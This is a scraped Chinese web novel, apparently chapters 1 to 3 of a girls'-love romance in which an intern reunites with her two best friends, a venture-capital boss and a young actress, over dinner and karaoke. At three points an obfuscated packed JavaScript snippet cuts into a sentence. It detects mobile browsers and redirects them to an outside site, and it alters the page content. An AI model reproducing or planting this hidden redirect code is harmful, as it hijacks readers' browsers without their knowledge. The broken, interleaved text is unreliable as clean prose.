《三人行，必有我老婆》 1. 第 1 章 s市十月，秋高气爽。 写字楼巨大的玻璃幕墙外，太阳渐渐下落，将远在群山之后的云彩染得绯红。 十一假期刚过，楼里的人大多还在假期综合症之中，形容憔悴，无精打采。 这显得着急的钟心倒成了一个特殊的存在。 她的马尾辫扎得炯炯有神，柔软的白T上印着大大的卡通角色。角色怒目而视，她的脸颊也因为和上司沟通无果气得发红。明明没化妆，却像是打上了极提气色的腮红。 “见个客户，非得让我跟着，我一个实习生，到底有什么不可替代的本事……” 嘴里不满地嘟囔着，钟心在工位上坐下身，桌上的背包她已经收拾好了，电脑屏幕上下班时间的6:00也已经过了，可是她还不能走。 “发工资的时候怎么没见这么待见我呢。” 嘴巴继续吐槽，手机握在手里，噼里啪啦地打字，把刚刚这些话一字不落地全都发了出去。 发进了她的好闺蜜群“三人行”。 一颗心心： 【还问我着急回去有什么要紧事？】 【和你们见面就是最重要的事啊！】 【我和公司签订的是八小时的劳动合同，又不是我的整个人生！】 【而且要加班为什么不早点通知，临走了把人拽住。我只是去洗手间洗了把脸，希望见你们的时候不要像个被工作吸干了血的伪人而已啊……】 【呜呜呜呜命好苦啊，加班一旦开始，根本不知道什么时候才会结束。】 【我心心念念的友谊纪念日啊，你们俩那么忙，好不容易三个人能聚到一起，没想到即将迟到的那个人竟然是我自己……】 【不活了，生活没有希望了，一想到后半辈子都得上这样的班，就有些微死了……】 狠狠地打着字，指尖用力到发白。钟心的眉头皱着，嘴角耷拉，一抬头看到黑屏的电脑屏幕里自己的脸，活像个苦瓜。 每当这种时候，反倒会生出一些破釜沉舟的勇气，钟心牙关一咬，继续打字： 【要不我直接开溜吧？】 【或者直接离职吧？】 【我真是受不了和你们的约会没办法准时到达。】 【天知道，我有多爱你们，我简直就是个友情脑，为了朋友，涮一波上司又如何！】 【@徐锦书 嘬嘬！】 【@小情人人嘬嘬嘬！】 情至深处，钟心不仅要艾特两位闺蜜出来嘬，还发送了一堆拥抱亲亲的表情包，里面不乏一些形容猥琐，令人望而生畏的。 但她的好闺蜜徐锦书和李施情都接受良好，她很快就收到了她们的回复。 先是徐锦书的，她问她：【什么客户？】 果然，霸总就是更关心工作内容。 钟心快速打字，把自己已知的客户信息以及客户所谈项目同自己的关系，总结发送。 通常这种时候，她便会得到徐锦书的分析教学和处理方法。 这位只比她大三岁的邻家青梅姐姐，在留学归来之后，便继承了一家很有实力的风投公司。 钟心今年刚刚大学毕业，还是一只清纯无知的初入社会的雏鸟，徐锦书却已经宫斗三年，为自己杀出一条血路，掌握了公司的实权，干出了瞩目的实绩。 真正年轻而又狠辣的业界精英，人中龙凤。 所以关于工作上的事，只要能获得徐锦书的建议，钟心便都是三拜九叩心服口服地听她的。 但这次徐锦书在她发完信息后没说什么，只道：【我顺路，去接你。】 钟心呵呵笑：【你顺什么路啊，你不是在公司吗？我们定的那家店在东区啊，我分享的地址你是不是没看？】 徐锦书：【看了。】 钟心：【客户应该很快就要到了，我可能会忙很久。】 徐锦书：【没关系，我等你。】 钟心抿抿嘴，看着手机屏幕上的字，觉得又感动又舒心。 即使是她这么微不足道的工作，那么忙那么重要的徐锦书也愿意来陪她，愿意等着她。 好贴心，好闺闺。 钟心双手握着手机压在胸口处，眼含热泪。 手机在胸口频繁振动起来，一听这来新消息的节奏，钟心就知道，是李施情有空了。 她的另一位好闺蜜，虽然和她同校同岁，但生活也早已经大有不同。 身为表演专业极具潜力的优秀学生，李施情大一就开始接戏。凭借一张清纯白月光的绝美脸庞和婉转灵动看谁都含情的眼睛，让观众对其念念不忘。 好角色好剧本频繁地递到了她手中，如今，出道四年，李施情已经是圈内知名的新人小花。 前途无量的女明星啊，赶起通告来昏天黑地，但只要一有空，就会回复钟心发的那些乱七八糟的消息。 而且是一条条地回。 小情人人： 【心宝你本事大着呢。】 【什么人嘛，太过分了。】 【我们当然是最重要的，你在我心里也是最重要的~】 【支持离职！别在这破公司干了，事多钱少。我那个工作室筹备得差不多了，心心宝你什么时候过来啊，情情宝需要你~~】 【迟到没关系的宝宝，我这会也有些抽不开身，放心吧，你绝不是最后一个。】 【嘬嘬嘬嘬嘬嘬，不许微死，但可以被我嘬到窒息……】 钟心的唇角疯狂上扬，被李施情这样哄，之前颓丧的情绪一扫而空。 她们家情情宝简直就是上天派给这个苦难人间的温柔天使，天使的光芒洒落在她身上，让她常常感叹自己何德何能。 不过是命好罢了！！！ 一想到自己这么命好，钟心头也不疼了腿也不酸了，即将面临的加班也没那么苦了。 屁股下的椅子被她推出去，又蹭回来，钟心一边回复李施情的消息，和她在群里有一搭没一搭地聊些废话，一边动作利索地整理了待会见客户要用的资料。 半个小时后，部门经理带着组长，组长带着实习生钟心，来到了电梯前，恭迎这位即将到来的大客户。 手机在口袋里震动了两声，但钟心这会可没有时间和胆量去看新消息。 她就是那种接活的时候满肚子抱怨，但真干起来了就很认真负责的良心牛马。 电梯上行，到了他们所在的楼层，“叮”的一声。 钟心往后退了一步，身姿挺拔，低眉顺目。 电梯门打开，经理的寒暄声响起：“王总欢迎，欢迎欢迎……” 组长上前抬手挡住了电梯门：“您好，请慢行……” 钟心在心里忽略这些废话，等待着这些谄媚的结束。 但谄媚并没有结束，响起了第三重的声音，中年男人的语气比经理和组长的还要充满淋漓尽致的讨好感：“徐总您小心脚下，您先，您先，在同一层真是太巧了，荣幸，荣幸……” 这倒是让钟心十分好奇了。 今天不知道又来了哪尊大佛，让他们这位大客户都卑躬屈膝的。 钟心抬起眼，准备偷偷地瞅一眼。 可这眼皮一掀上去，就落不下来了。 她瞪着眼睛，看着从电梯里迈步走出的人，满心惊呼。 竟然是徐锦书。 徐锦书竟然和他们的客户一起到了。 组长经理和客户弯腰站成了一排，像是丛林里等级森严的动物，钟心是坠在末尾最不起眼的小蚂蚁，而徐锦书是最高处俯视众生威风凛凛的雌狮。 她的身材本就高大，穿上西装之后更加迷人。宽肩窄腰，衣服在她身上变成了凌厉的线条，像是碰撞便会发出金属之声的几何体。 那张钟心熟悉的脸亦如此，棱角分明，眼神锐利，让人望见她的第一瞬只来得及震惊于那罕见的压迫感，而不是欣赏她的美丽。 钟心喉咙滑动，生理性的紧张。 而徐锦书目标明确，和周遭围着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453989|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的人一句话都没讲，视线越过人群，落在钟心的脸上。 “心心。”她道，冰冷的音色，亲昵的称谓。 钟心心跳猛然提速，这一声呼唤让周遭的目光全都齐刷刷地落在了她身上。 徐锦书没再往前走，两步远的距离，她停下来，就这样看着钟心，表情称得上沉肃。 “还没下班吗？”她道，“还需要多久？” 钟心没法回答这个问题，钟心好想告诉徐锦书，和她一块上来的就是她要接待的客户。钟心企图给徐锦书发送挤眉弄眼的表情信号，但徐锦书的眉头微微抬起，根本就不接收。 尴尬的沉默，之前那些谄媚的台词被如此打断，便无法再继续。 作为全场新的焦点，钟心深吸口气，只得开口： “啊，王总你好。组长，经理，这是我朋友，我们约好下班吃饭来着，她，她提前到了……” 全场松动起来。 经理：“这样啊……” 组长：“真的很巧啊，哈哈……” 王总：“徐总来接的是你们公司的小朋友啊，这真是……” 徐锦书：“约的七点，你六点下班，现在六点四十五分。我来得不算早。” 目光从腕表上滑过，语气太没有人味，实在称不上好。 钟心：“……” 全场又僵硬了。 钟心好想立刻冲上前抱住徐锦书的胳膊晃她，让她有点眼色，别把所有人的台阶都抽了。 但有眼色的另有他人，王总笑眯眯问：“小朋友什么职位呀？” 组长马上替她回答了：“钟心是我们新媒体岗的优秀员工，上次的广告提案就是她做的。” 王总：“厉害呀厉害，大有前途。” 经理：“本来是想让小钟跟着，激发一些年轻人的新点子。你看这，忘了时间了。那个，小钟，有事就先去忙吧，下班，下班。” 钟心：“！！！！” 钟心瞪圆了眼睛，看了眼经理，又迅速去看徐锦书。 徐锦书那张冰块脸终于融化了一点点，她的唇角勾起，眼睛有了微弯的弧度：“还不快去拿你的包。” 嗷——！！！ 钟心在心里大喊一声，所有工作带来的束缚和沉重都消失了，心脏在往上跳，兴奋的多巴胺直奔大脑。 “嗯！”她应了一声，压抑着自己快要收不住的笑脸，“王总经理组长，那我就先撤了。” 而后脚底抹油，比谁都跑得快。 “哒哒哒”地回到了办公室，“咵”地抓起背包，“咚咚咚”地又往外跑，到电梯口的时候，发现这一堆人居然还站在原地。 没什么话说的样子，一见到她，通通露出笑脸。 钟心：“……” 组长的手甚至还挡着电梯门：“快进吧。” 钟心：“……” 钟心迈进了电梯，徐锦书紧随其后。 钟心对着电梯门外的一堆笑脸，憨傻地笑着说再见，徐锦书只微微点了点头，然后便按了关门键。 电梯下行，没了方才的喧闹，轿厢里显得很安静。 徐锦书在钟心身侧的位置，两人的衣袖隐隐约约地触碰在一起。 钟心肩上一轻，徐锦书拿走了她的包。 “我不……” 钟心偏头刚说了两个字，便看到了徐锦书露出的笑容。 或许只有在面对好朋友时，才会露出的轻松惬意的笑容。 “包里装了什么，这么重。”徐锦书道。 那大大的一个背包，到了她的手里，就显得小了起来。 “好东西～”钟心的语调也变得轻松，她仰着脑袋，冲徐锦书回复最愉快的笑容，“你们俩个都有份！” 徐锦书的表情来得淡，收得也淡。她垂眼看着钟心，电梯顶上的灯带在她的头发上打出灿灿的光影。 眼睫下一小片阴翳，徐锦书道：“她来的迟，你饿了吧？我们先去吃。” 2. 第 2 章 提到李施情，钟心立马伸进口袋里掏手机。 还没解锁，嘴上便忙不迭地替她辩白道：“情儿她很快的，她刚才说了，今天可以准时到……” 手机里新来的消息并不如此，李施情今天拍的是一个服装品牌的商务，她刚进行到最后一套look，群里发了可以称为商业机密的自拍，发丝缱绻，淡雅迷人。 钟心百忙之中，给那照片点了个赞。 然后抬头，笑得有些憨傻地道：“她是要晚一点哦～哈，哈，但是也快了，要不了多久了！我这会不饿，下午喝了奶茶还吃了小饼干呢！” 徐锦书的那点阴翳向下落，从钟心的脸蛋滑到手机，再滑向她的腹部。 钟心反应可快了，立马拍了拍自己的肚皮，还特意地向前挺了挺：“你听，咚咚的，塞满了的熟西瓜。” 她拍打自己的样子像只圆鼓鼓的海豹，抬着上眼皮看徐锦书的表情心虚又谄媚，徐锦书掀了掀唇角，移开了自己紧密的目光。 “你喜欢的那个苹果蛋挞，今天有。”她道。 “嗷！！！”钟心大喊一声，“老徐你给我买了吗？是在车里吗？那我还是可以加点餐的！甜品是另一个胃！” “嗯。”徐锦书从嗓子里冒出一声轻哼。 “呜呜呜你真好～～”钟心变得哼哼唧唧的，眼看着电梯就要到负一层了，是属于她们闺蜜之间的私人时光了，便干脆上手挽住了徐锦书的胳膊。 西装面料柔软清爽，在钟心的指尖形成微微的褶皱。 “我看到你发给我的消息了，刚看到的。你说你上来了。”钟心晃晃手机，“老徐，你是不是故意的呀？打听了我那客户是谁，然后跟他一起上来，在电梯口就把我给捞出来了……” 徐锦书眉梢抬起，睨她一眼，不回答。 “不否认那就是事实了。” 钟心真是打心眼里崇拜她，一想到自己的闺蜜这么厉害，就忍不住露出舔狗属性，埋下了脑袋用脸蛋蹭自己正抱着的胳膊肘。 “呜呜呜徐总，徐总你是不是在你们资本界又升咖了？连个话都不用说，所有人都看你眼色。呜呜呜徐总，我今天被你捞走，明天上班他们都不敢说我什么，指不定还要传我是徐总的人，往后都不敢欺负我了，嘿嘿嘿……” 徐锦书垂眸，透着衣服面料，温热和柔软的触感依然不减。 钟心把自己的头发蹭乱了，毛毛躁躁的，真的很像一只狗脑袋。 “那不是挺好的吗？”徐锦书道。 “好啊好啊，简直太好了，入职才两个月就有靠山。权力的滋味啊，当皇族可太爽了！”钟心舒适得眼睛眯起。 徐锦书：“这个公司结构太单薄了，业务量也不稳定，发展前途不大。我刚签了一家……” “NoNoNo，”钟心立马抬头打断了她的话，“早都说过了，我要自己奋斗，不能真靠你们。你帮到今天这一步就够够的了，孩子要自己长大！” 徐锦书抿唇不语。 电梯到了负一层的停车场，门打开，钟心松了挽着徐锦书胳膊的手，去挡电梯门：“徐总，您先走。” 徐锦书抬手抓住了她的手腕，将她的手扯了下来。 “危险，不许这样。” 话音沉沉地响在头顶，钟心被带出了电梯门，握着她的掌心是炙热的温度，徐锦书的手指长而有力，轻易地便可以将她包裹钳制。 “我这不是想讨好一下你嘛……” 钟心的声音变得轻轻的，她觉得徐锦书可能有点生气，但问题不大，这种时候，只要一直和她说话，逗她玩，她很快就会恢复情绪了。 “你今天开的哪辆车呀？不会又换车了吧？ “你这个衣服面料好舒服啊，就是好像容易皱。我捏皱了姐姐的衣服，姐姐不会生气吧～～ “这辆吗？这什么牌子的？不认识…… “嗷嗷嗷我的苹果蛋挞，我闻到香味了！谢谢谢谢谢谢你！” 车门关上，手腕被释放。 钟心坐在不知名豪车的副驾上啃掉渣的蛋挞，徐锦书倾身帮她系好安全带，然后打转方向盘，将车又平又稳地开了出去。 三人聚会的地点是钟心挑的，因为把“10月10日”这一天定为三位闺蜜雷打不动的聚会日这件事，是钟心热情提议的。 都说毕业之后参加工作，太忙太累了会和朋友们的联系不自觉中断。钟心不想这样。 徐锦书和李施情是她打心眼里认可的好朋友好闺蜜，她们互相陪伴了彼此漫长的时光，见证了彼此经历的挫折和成长，这样的友情，是难能珍贵的。 所以钟心一定会好好珍惜，好好维护。 车辆到达了目的地，这是一家高端会所。消费水平远远超出钟心的日常水准。 但李施情是艺人，需要保护隐私，徐锦书早就习惯了出入这样的场地，所以钟心还是定了这里。 下车穿过私人通道，便可以抵达餐厅。 包厢的设计风格很有品味，淡淡的线香缭绕，环境清幽。 房间里设有卧榻，服务员非传唤不会入内，让人感觉安全而放松。 钟心十分满意，因为要等李施情，她没有去餐桌前坐。包一甩便倒卧在了榻上，远处有音乐袅袅传来，她甚至想先睡一觉。 徐锦书坐在她侧方的椅子上，西装外套脱了，里面的衬衫也解开了两颗纽扣，露出漂亮的锁骨线条。 她不说话，手肘撑着红木的扶手，就这样睨着钟心，眼睫的眨动极其缓慢。 时间静静地流淌。 良久，钟心懒懒地道：“老徐……你还记得去年这个时候，我许的什么愿望吗？” 徐锦书：“友谊长存。” 钟心：“除过这个，还有呢？” 徐锦书：“论文答辩顺利，校招进入世界500强。” 钟心“咯咯咯”地乐起来：“去年的我真是对自己没点数啊，觉得500强那么好进呢，当时那个公司，群面一进去就是十个人，我的天呐，好地狱，七嘴八舌的，哪有我说话的份呐……” 钟心偏偏脑袋，畅想着：“今年我不要那么天真了，我得给自己许点好实现的愿望……” 她顿住，不好意思说出这个愿望，但嘴角已经在上扬了。 徐锦书的目光落在她耷拉在塌边一晃一晃的小腿上：“什么？” 钟心捂着脸：“嘿嘿嘿，丰富人生体验，结束母胎单身！我要谈恋爱！” 多么重大的宣誓啊，多么有趣的话题啊，但凡一群女孩子聚在一起谈论到这样的话题，都得兴奋地嚎叫，然后叽叽喳喳地问一些前因后果。 钟心不指望徐锦书嚎叫或者叽喳了，但她觉得徐锦书多少是会有些问题和反应的。 可她这么倒躺着，什么动静都没听到，就好像这间屋子里只剩下了她一个人。 小腿不晃了，钟心一个猛子翻身坐起。 她看向徐锦书，意外地发现徐锦书竟然不是在走神，而是正无比专注地凝望着她。 高鼻薄唇，浓而直的眼睫下压，挽在脑后的长发垂落下来一丝，藏进肩窝里。 她实在是太静止了，太专心了，完全不顾任何社交的规则，只看她想看的，观察她要观察的。 钟心被盯得有些害羞，脊背升起一股痒意，坐立不安起来。 她拧了拧身子，道：“你是不是觉得我这种想法更幼稚啊？好像恋爱是我想谈就能谈上一样……” 徐锦书摇了摇头。 钟心：“啊，你是一点都不在意恋爱这件事吧？每天那么忙，要处理那么多工作，都说女人一旦尝过权力和野心的滋味，就不会再想要恋爱了……” “不是。”徐锦书终于开了口，她的嗓子有些哑，低沉好听，“你喜欢什么样的？” 这就对了嘛！！！ 这才是这个话题该问的嘛！！！ 钟心来了劲，跳下塌，开始手舞足蹈地给徐锦书描述自己幻想中的理想型： “三观一定要和我一致，善良正直勇敢，这是基础配置。 “性格最好是互补一些，不同的性格有不同的色彩嘛，这个太相近了就缺少了很多乐趣。 “颜值要求不高的，毕竟咱自己就是普普通通一小姑娘，但当然，好看了更好啊呜呜呜呜…… “另外，我很喜欢自主意识很强的人格，这会让我觉得，对方很鲜活很有生命力，不用特意做什么，只要存在着就会将我吸引！” 钟心捂着胸口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453990|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到此处，脸蛋通红，眼睛闪亮，兴奋溢于言表。 徐锦书搭在腿上的指节轻轻一动，她还没来得及听完这所有的描述，包厢的门便突然被人推开了。 “呦，趁我不在的时候，偷偷夸我呢～” 清爽如溪水叮咚的音色，亲昵柔媚的语调，演员特有的发音方式让字句清晰，直直地打在人心尖上。 钟心立刻转头，看到了姗姗来迟的大明星。 帽子墨镜浅咖色的长风衣，脸被遮掉了一大半，但只露出的明艳的红唇和尖尖的下巴，便足够让人确定她无与伦比的美丽。 脖颈白得发光，向下延伸出一小片细腻的皮肤藏进领口里。即使搭配了好几层的衣饰，身段也纤细得如同杨柳一般，好似随时可以拂动招摇。 “情儿！！！！” 钟心大喊一声，语调比方才还高，眼睛比方才还亮。 她向前冲出去一步，李施情却比她动作得还早，手里提着的奢侈品包包被随手扔到了一边，双臂展开，朝前迈来。 钟心在一瞬间便坠入到了一个香软的怀抱之中。 是青草混合着春风，游丝一般钻入五感。 怀里瘦削的身体让她不敢用力，但李施情的胳膊倒是搂她搂得紧密。 气息拂过耳际，花朵般盛开：“心宝，好久不见。” “呜……真的好久不见了……” 钟心一下子便被触动到，以前高中的时候，她俩做了三年形影不离的同桌，初入大学时，也每天开开心心的凑在一块逛街吃饭。 后来李施情开始拍戏，便越来越忙。现在她学业结束全身心地投入到工作中，掐指算算，两个人已经有快半年没能线下见面了。 “你现在越来越火了，超话签到我都抢不到前排了。”钟心和怀里的身体一起左右晃悠着，“你是不是都不吃饭啊，怎么感觉又瘦了好多……” “女明星的自我修养啦，上镜实在太显胖了。”李施情拍拍她的背，又低头用下巴蹭了蹭钟心的颈窝，“还是你圆嘟嘟的，可爱，手感好。” 钟心：“嘿嘿。” 钟心：“你随便捏！” 钟心：“那你今天能吃饭吗？” 李施情：“舍命陪你。” “哈哈哈哈哈……”钟心一阵乐，她将怀里的人放开，并且十分顺手地帮李施情脱下了风衣外套，挂到了一旁的衣架上去。 转头再看，脱了外套的李施情里面穿着件V领的毛衫裙，曲线玲珑，纤弱又暖绒绒地可爱。 “只有你才能把这种衣服穿得这么好看。” 钟心忍不住感慨，余光里望见一旁沉默不言的徐锦书，赶紧又道：“情儿你和锦书也好久没见了吧？” “嗯。”李施情摘下了墨镜和帽子。她的长发也随之散开，悠悠荡荡地落下来，柔软而又有光泽。 “是好久没见了。”李施情向前几步，来到了徐锦书面前，唇角扬起笑意，“不过我和徐总本来见面的次数也不多。” 钟心：“嗨，自家朋友，喊什么徐总呀。” “也对。”李施情朝徐锦书张开双臂，但人一点没再往前动，“那锦书，我们也拥抱一下吧？” 漫不经心的语调。淡漠的目光。 和刚才同钟心的热情形成了鲜明的对比，全都落进徐锦书的视线里。 徐锦书没什么表情，只伸出了一只手：“你好。” 李施情连她这只手都没碰，“呜”地一声便转身又朝钟心奔去。 细细的眉头蹙了起来，一双眼波流转的美目漾着盈盈的水光，嘴巴一撅，委屈地跟钟心撒娇：“徐总不想跟我拥抱，徐总有洁癖，徐总很见外。” 钟心连忙握住了她的手哄：“不是啦不是啦，她就是那个性格啦，不好意思和人太亲近，实际上很开心哒～” 徐锦书起身来到了餐桌前：“人齐了，吃饭吧。” 李施情一点都不急着吃饭的事，她牵着钟心的手，看看钟心，再看看徐锦书。 “你们刚才聊什么呢？”李施情道，“听起来像在夸我，但我也没那么自恋啦～” 钟心的脸一红。 李施情立马锁定了她：“心宝，你不会是认识了什么新的人，喜欢上人家了吧？” 3. 第 3 章 “不不不不不不……” 房间里一下子炸起钟心着急忙慌的否认声。 跟徐锦书聊这个话题，钟心还有些自得其乐。因为她知道徐锦书没谈过恋爱，也对恋爱没兴趣，自己说什么都是新的，说什么都不算错。 可要是和李施情聊，那就完全不一样了。 从她高一认识李施情开始，李施情桌兜里的情书就没断过。等上了大学进入了演艺圈，接触到的人群更是钟心想都无法想象的。 李施情见识过形形色色的男男女女，李施情万花丛中过，片叶不沾身。 李施情对于人类爱情的理解和经验，足以让还没进入新手村的钟心感觉羞愧。 所以在李施情面前，她可一点大话都不敢说。 钟心把双手摆得像风火轮，扇起了一缕李施情漂亮的发丝。 李施情的眼睛微微眯起，眼尾细长的弧度是让人心发痒的羽毛。 “这么着急，看来我猜得八九不离十了。”她道，“我们家小心心春心萌动了，想谈恋爱了。” 钟心：“……” 脸比之前还红了，这人精，让她否定的话都没法说完。 李施情拉开了椅子，坐下身。下巴朝自己身边的座位一抬：“来，慢慢说，是怎么回事。” 钟心的热气直往脑袋顶冒，看着李施情那张完美的脸，开口支支吾吾的：“其实，也不是……什么……就只是……聊到……” 她这样断断续续一个字一个字往出冒的时候，李施情望着她的眼睛一眨不眨，极有耐心的等待，一点丝毫不遮掩的玩味笑意。 “呜……” 钟心发出声颓废的哼鸣，她拉出椅子，想要破罐子破摔地坐下身，然后把自己真实的想法一股脑地倒给自己的好闺蜜。 笑就笑吧，能让大家开心也是一件好事。 但她的嘴巴刚张开，屁股也还没有坐下去。徐锦书突然发声支援：“刚才心心在和我聊，会对什么样的朋友有好感。” 钟心：“！！！！” 颇感震惊，徐锦书居然把话题从恋爱转移到了朋友方向。真是好聪明的招式啊！ 徐锦书：“她描述的特征和我们有些相似很正常，毕竟如果不喜欢的话，是做不了这么长时间的朋友的。” 钟心：“！！！！” 居然还借此体贴地维护了她们之间的友谊，好细心好nice啊！ 徐锦书在钟心崇拜而感激的目光里，坐在了餐桌另一边。她的指节修长，轻轻地敲在桌面上，简单的动作却依然流露出了上位者可以安排一切的气势。 “心心，你是不是已经提前点好了单？我看看。” “嗯嗯，对。这家是可以预约菜单的。” 钟心立马从兜里摸出手机，一个跨步来到了徐锦书面前，向她展示自己手机屏幕上的信息： “我点了这个套餐，想着我们三个应该吃不了多少，但是施情她会需要健康一些的烹饪方式。主食这里可选，饮料今晚少喝一点酒吧？很开心……” 像在尽心尽职地给领导汇报工作一样。 但是表情和姿态要轻松亲昵很多。 站在徐锦书的身边，弯腰说话的时候，扎着的马尾辫从肩头滑落。一旦和徐锦书对上视线，便露出一个灿烂的笑容。 李施情掌心拄在脸侧，看着眼前这画面。目光细细地，从两人五官表情的变化，端详到两人身体倾斜的角度。 品味的差不多了，对面两人也交流的差不多了。李施情唇角勾着一点笑容，懒洋洋得道：“我们家心心真的好好哦，聚会的事都是你操心，我坐享其成。” 钟心立马转头也冲她笑：“这是我应该做的！” 她小跳着回到李施情身边，给她也看自己手里的菜单：“这个你是喜欢吃的吧？” 李施情不看菜单，只看钟心那洋溢着热情和欢乐的脸颊。眨眨眼：“喜欢~” 尾音里带着小钩子，直白地表达着，我不在意菜，我只在意你。 钟心当然能够感受到这样的特殊对待，她的快乐又再加一分。 这样的两个好朋友，她一点都不想怠慢她们，哪一个被冷落了她都不开心。 于是最终，她拉了拉椅子的位置，均衡地坐在了两人之间。 多亏包厢是圆形的餐桌。 点了菜下了单，在手机上顺便呼叫了服务员。钟心改动了一点自己刚才的说法，乐滋滋地道：“因为你们，这是我乐意做的~” 左右飘来两束目光，一个热情又撩人，一个平和而温柔，凝聚在钟心的身上，让她感觉暖洋洋的。 和好闺蜜在一起真开心呀！ 钟心在餐桌下快乐地晃着腿。 她想，她要是谈恋爱的话，一定也要这么开心。 菜上了桌，闺蜜之间的聚会正式开始。 话题多是钟心抛起的，但很多说了一半，李施情便能get到。两人目光一连接，情绪便可以同步地撞击到一块。然后聊个热热闹闹，昏天黑地。 李施情在圈内和对外的形象其实不算是积极而热情的，一些采访和路演，她大多是温温柔柔地站着，眉目和语气一样柔和缱绻，只有被明确提到的时候，才会接话回答问题。 但在私底下面对钟心时，她是完全不同的状态。她像那个还是高中生的小姑娘，在意吃在意喝爱聊八卦，有时候对自己的魅力洋洋自得，有时候又会因为事业的挫折而颓废沮丧。 钟心喜欢她这样真实的样子，她在她面前不是遥不可及的女明星，是一个有血有肉有脾气的好朋友。 聊完了一个开心的话题，钟心一低头，看到自己的餐盘上被放了剥好的蟹黄和打开的蟹腿。 金秋十月，正是吃蟹的好时间。可钟心嫌麻烦，自己一个人的时候根本想不起来点这玩意儿。 徐锦书拆蟹的动作利落熟稔，垂眼专注于指尖时，那一点螃蟹都显得像是上亿的单子。 好看。 她少言，自律，优秀，却不会忘了关心朋友。仿佛是另一个世界里的小说主角，有着超脱于次元的无限光环。 “又给我剥蟹了，徐总~”钟心歪着脑袋逗她。 徐锦书眉梢轻轻挑起：“我还是喜欢你像小时候一样，喊我姐姐。” 钟心喊不出口。 钟心转头同李施情吐槽自己：“我小时候可恶心了，喊人都是四个字的，好好的姐不叫，电视剧看多了非要叫人家锦书姐姐……” 最后这四个字，钟心已经尽量压低声音了。 可还是清清楚楚地传递到了徐锦书的耳朵里，徐锦书的唇角勾起，应了一声：“嗯。” 钟心羞耻心爆棚：“嗷嗷嗷老徐你不许应，不许！” 李施情的笑意清浅地挂着：“施情姐姐也不错啊，罚你以后就这么喊了。” 钟心：“我和你一样大！” 李施情：“我大你两个月啊。” 钟心无能狂怒：“啊啊啊嗷嗷嗷！！！” 一顿饭吃的有静有动。叫声和笑声齐飞。 饭吃到一半时，钟心和李施情喝了点小酒，醉意上头，微醺。正好转场去下一part。 好久没有去唱歌了，会所里上一层就是豪华包厢的k歌房。 房间里的灯光暗了下来，只有几盏昏黄的壁灯打造着暧昧不明的氛围。 徐锦书开车不喝酒，松散地陷进沙发里，听钟心时而兴奋时而故作忧伤的歌声。 李施情手里端着杯色泽鲜艳的鸡尾酒，来到她面前，吸管在迷幻的色彩里搅动：“你不唱吗？” 徐锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453991|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书：“你们唱就好。” 李施情笑笑：“不会嫌我俩玩的太开心，冷落你吧？” 徐锦书：“不会。” 李施情转身向钟心走去，语调清脆：“这可是你说的。” 钟心回头看见她，大喊：“快来，情情，你的歌。” 李施情从她手里接过话筒，指尖在她的皮肤上掠过，软软的，凉凉的。 钟心的脊椎升起一股痒意。 李施情冲她明媚一笑：“心心当我的观众好不好？” 钟心望着这美丽的天使般的笑颜，真心实意地道：“我本来就是你的观众呀～你所有的剧，所有的演出，我都会看……” 李施情唇角的笑意加深，音乐声起，她却没有转头去看屏幕。 在背景变幻的光影里，她仍然望着钟心，眼睛仿佛闪动的星星：“那些，你能看，别人也能看。现在，你是我唯一的观众。” 近距离盯着眼睛说这种话，也太犯规了。 钟心的心里不可自抑地炸出烟花，她想，她要是个爱而不得的粉丝，这会已经幸福得晕过去了。她想，其实屋子里还有另一个人，徐锦书也是观众。 但这些想法都一瞬即逝，因为李施情的表演开始了。 这一首歌，她既不像完全私下的玩耍，又不像舞台上的正式。 她随着旋律轻轻摆动着身体，开口的音色裹着气息，缠绵妩媚。 那件紧身的毛衫裙，在她的动作下，变得像一件极有古韵的旗袍。 入眼皆是画，钟心看得目不转睛。 她的五感被美色震颤，心脏也随之加速了频率。 偏偏李施情还只把她一人当观众，抬眼时看她，转身时望她，往前的碎步朝着她的方向，指尖点她，直勾勾地盯着她，一垂眸含羞的笑也对着她。 好像这歌曲里无尽的情意，愁与怨，爱和恨，都是因为她。 钟心被撩得脸颊发烫，呼吸变急。 她真想在四周架上摄像机，三百六十度无死角地拍摄，然后剪辑成视频，让所有人都看看独属于李施情的致命魅力。 她就是天生为荧幕而生的，她就该成为万人倾倒的大明星。 "啊——" 钟心忍不住，尖叫起来。 “施情一笑，心动警报！施情画意，无可救药！” 应援词背得无比流利，钟心恨不得手里有荧光棒可以挥舞起来。 她这狂热的样子，逗得李施情频频露出表演之外的轻松笑意。 一曲即将终了，李施情指尖挟着酒杯壁上挂着的樱桃，来到钟心面前，一侧身，便整个人坐进了她的怀里。 